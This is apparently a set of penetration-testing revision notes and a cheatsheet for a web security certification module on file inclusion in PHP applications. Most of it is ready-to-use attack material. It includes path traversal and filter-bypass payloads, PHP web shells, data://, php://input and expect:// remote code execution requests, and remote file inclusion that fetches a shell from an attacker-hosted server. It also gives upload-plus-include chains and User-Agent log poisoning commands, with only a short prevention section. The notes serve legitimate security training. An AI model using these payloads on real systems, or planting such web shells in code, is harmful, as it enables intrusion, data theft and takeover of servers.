All articles

File Inclusion — LFI/RFI, PHP Wrappers, Log Poisoning and RCE (HTB CWES)

Built from the File Inclusion module of the HTB Academy Web Penetration Tester path (HTB CWES). Revision notes: every payload, wrapper and path kept, condensed. PHP/Linux focus. Labs and lessons are on HTB Academy.

File inclusion happens when a user-controlled parameter feeds a file-loading function (index.php?page=about). It ranges from source-code//etc/passwd disclosure to full RCE.

1. Vulnerable functions — read vs execute

Function Read Execute Remote URL
PHP include/include_once/require/require_once ✅ ✅ include ✅ / require ❌
PHP file_get_contents ✅ ❌ ✅
PHP fopen/file ✅ ❌ ❌
NodeJS fs.readFile/sendFile ✅ ❌ ❌
NodeJS res.render ✅ ✅ ❌
Java include / import ✅ import ✅ import ✅
.NET Response.WriteFile/@Html.Partial ✅ ❌ ❌
.NET include ✅ ✅ ✅

Execute functions → RCE possible; read-only → source/file disclosure (which still leaks creds, keys, more bugs).

2. Basic LFI and path traversal

?language=/etc/passwd                       # absolute path (when input is used raw)
?language=../../../../etc/passwd            # path traversal (works even inside ./languages/)
?language=/../../../etc/passwd              # filename prefix (lang_ + input) → lead with /

Extra ../ is harmless at /, so over-traverse freely. Windows: C:\Windows\boot.ini. Appended extension (include($lang.".php")) restricts you to .php on modern PHP (useful for reading source). Second-order: poison a stored value (e.g. username ../../../etc/passwd) that another feature later includes.

3. Filter bypasses

....//....//....//etc/passwd        # non-recursive ../ strip (also ..././  ....\/  ....////)
%2e%2e%2f%2e%2e%2fetc%2fpasswd      # URL-encode (and double-encode) to beat . / filters
./languages/../../../../etc/passwd  # "approved path" prefix then traverse out
/etc/passwd%00   /etc/passwd/././…×2048   # null byte / path truncation — PHP < 5.3/5.5 only

4. Source disclosure — php://filter

Including a .php file executes it (empty output). Base64-encode it instead to read the source:

?language=php://filter/read=convert.base64-encode/resource=config

Decode the result (base64 -d). Fuzz for PHP files first (ffuf ... FUZZ.php, all status codes), then read each and follow references.

5. RCE via PHP wrappers

Most need allow_url_include=On — check it via LFI:

curl ".../index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini" | ... | base64 -d | grep allow_url_include
# data:// — base64 web shell inline (URL-encode the base64)
echo '<?php system($_GET["cmd"]); ?>' | base64     # PD9waHAgc3lzdGVt…
curl ".../index.php?language=data://text/plain;base64,PD9waHA…&cmd=id"
# php://input — web shell in the POST body (param must accept POST)
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' ".../index.php?language=php://input&cmd=id"
# expect:// — direct command execution (needs the expect module)
curl -s ".../index.php?language=expect://id"

6. Remote File Inclusion (RFI)

Needs allow_url_include + a function that fetches URLs. Confirm with a local URL first, then host a shell:

echo '<?php system($_GET["cmd"]); ?>' > shell.php
# HTTP
sudo python3 -m http.server 80        # → ?language=http://OUR_IP/shell.php&cmd=id
# FTP (if http is blocked/filtered)
sudo python3 -m pyftpdlib -p 21        # → ?language=ftp://OUR_IP/shell.php&cmd=id
# SMB (Windows target, no allow_url_include needed; best on same network)
impacket-smbserver -smb2support share $(pwd)   # → ?language=\\OUR_IP\share\shell.php&cmd=whoami

7. LFI + file upload → RCE

If the app lets you upload anything and you have an execute LFI, embed PHP in the file and include it:

# image: magic bytes + PHP; upload, then include the stored path
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif     # → ?language=./profile_images/shell.gif&cmd=id
# zip wrapper
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
#   → ?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id
# phar wrapper (build a .phar, rename to .jpg)
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
#   → ?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id

8. Log / session poisoning

Write PHP into something that's logged, then include that log (needs read access + execute LFI).

# PHP session: find your PHPSESSID → /var/lib/php/sessions/sess_<ID>
?language=/var/lib/php/sessions/sess_<ID>          # inspect; 'page' is controllable
?language=<?php system($_GET["cmd"]);?>            # poison (URL-encoded), then include the session file &cmd=id
# Apache/Nginx access.log via the User-Agent header
echo -n "User-Agent: <?php system(\$_GET['cmd']); ?>" > Poison
curl -s "http://TARGET/index.php" -H @Poison
?language=/var/log/apache2/access.log&cmd=id       # (Nginx: /var/log/nginx/access.log)

Also try /proc/self/environ, /proc/self/fd/N, and sshd/mail/vsftpd logs (log a username/email of PHP code, then include).

9. Automated discovery

ffuf -w burp-parameter-names.txt:FUZZ -u 'http://TARGET/index.php?FUZZ=value' -fs 2287   # hidden params
ffuf -w LFI-Jhaddix.txt:FUZZ -u 'http://TARGET/index.php?language=FUZZ' -fs 2287          # LFI payloads
ffuf -w default-web-root-directory-linux.txt:FUZZ -u '.../?language=../../../../FUZZ/index.php' -fs 2287  # webroot
ffuf -w LFI-WordList-Linux:FUZZ -u '.../?language=../../../../FUZZ' -fs 2287              # server files/logs/config
# read /etc/apache2/apache2.conf (DocumentRoot, log paths) + /etc/apache2/envvars (APACHE_LOG_DIR)
# tools: LFISuite, liffy, LFiFreak (dated, python2)

10. Prevention

  • Don't pass user input to include functions. Use a whitelist (DB/case-map of allowed pages) and a default.
  • Stop traversal: basename(), or recursively strip ../ (while(substr_count($i,'../')) $i=str_replace('../','',$i);). Native functions catch edge cases.
  • Config: allow_url_fopen/allow_url_include = Off, open_basedir=/var/www, disable expect/mod_userdir, run in Docker.
  • WAF (ModSecurity) in permissive mode as an early-warning tripwire.

11. What to carry into the CWES exam

  • Confirm LFI with /etc/passwd + ../, then decide read vs execute from the behaviour (source leaks → read-only; PHP renders → execute).
  • Read source with php://filter base64, check php.ini for allow_url_include, then go for RCE: data:// / php://input / expect://, or RFI (http/ftp/smb).
  • No wrapper RCE? Upload+include (image/zip/phar) or poison a log/session (User-Agent, PHPSESSID) and include it.
  • Fuzz hidden params and use LFI-Jhaddix.txt; locate the webroot/log paths by reading apache2.conf/envvars.
  • Skills assessment: a job-application (upload) form → classic LFI + upload → RCE chain.

Cheatsheet — File Inclusion

LFI / traversal / bypass

/etc/passwd    ../../../../etc/passwd    /../../../etc/passwd (prefix)
....//....//etc/passwd    %2e%2e%2fetc%2fpasswd    ./allowed/../../../etc/passwd
/etc/passwd%00   (PHP<5.5)

Source & wrappers

php://filter/read=convert.base64-encode/resource=config          # source
data://text/plain;base64,<b64 webshell>&cmd=id                   # RCE (allow_url_include)
php://input  (POST body = <?php system($_GET["cmd"]);?>) &cmd=id
expect://id                                                       # RCE (expect module)

RFI

python3 -m http.server 80   → ?language=http://IP/shell.php&cmd=id
pyftpdlib -p 21             → ftp://IP/shell.php
impacket-smbserver share .  → \\IP\share\shell.php   (Windows)

Upload + include

echo 'GIF8<?php system($_GET["cmd"]);?>' > shell.gif   → ./uploads/shell.gif&cmd=id
zip shell.jpg shell.php    → zip://./uploads/shell.jpg%23shell.php&cmd=id
phar → phar://./uploads/shell.jpg%2Fshell.txt&cmd=id

Poisoning

session: ?language=/var/lib/php/sessions/sess_<PHPSESSID>&cmd=id   (poison via ?language=<?php…?>)
logs:    curl TARGET -H @Poison (User-Agent:<?php…?>) ; ?language=/var/log/apache2/access.log&cmd=id
also: /proc/self/environ   /var/log/nginx/access.log

Fuzz — params burp-parameter-names.txt · payloads LFI-Jhaddix.txt · webroot default-web-root-directory-*.txt · files LFI-WordList-Linux

Built from HTB Academy's File Inclusion module — labs, lessons and the CWES exam are on HTB Academy.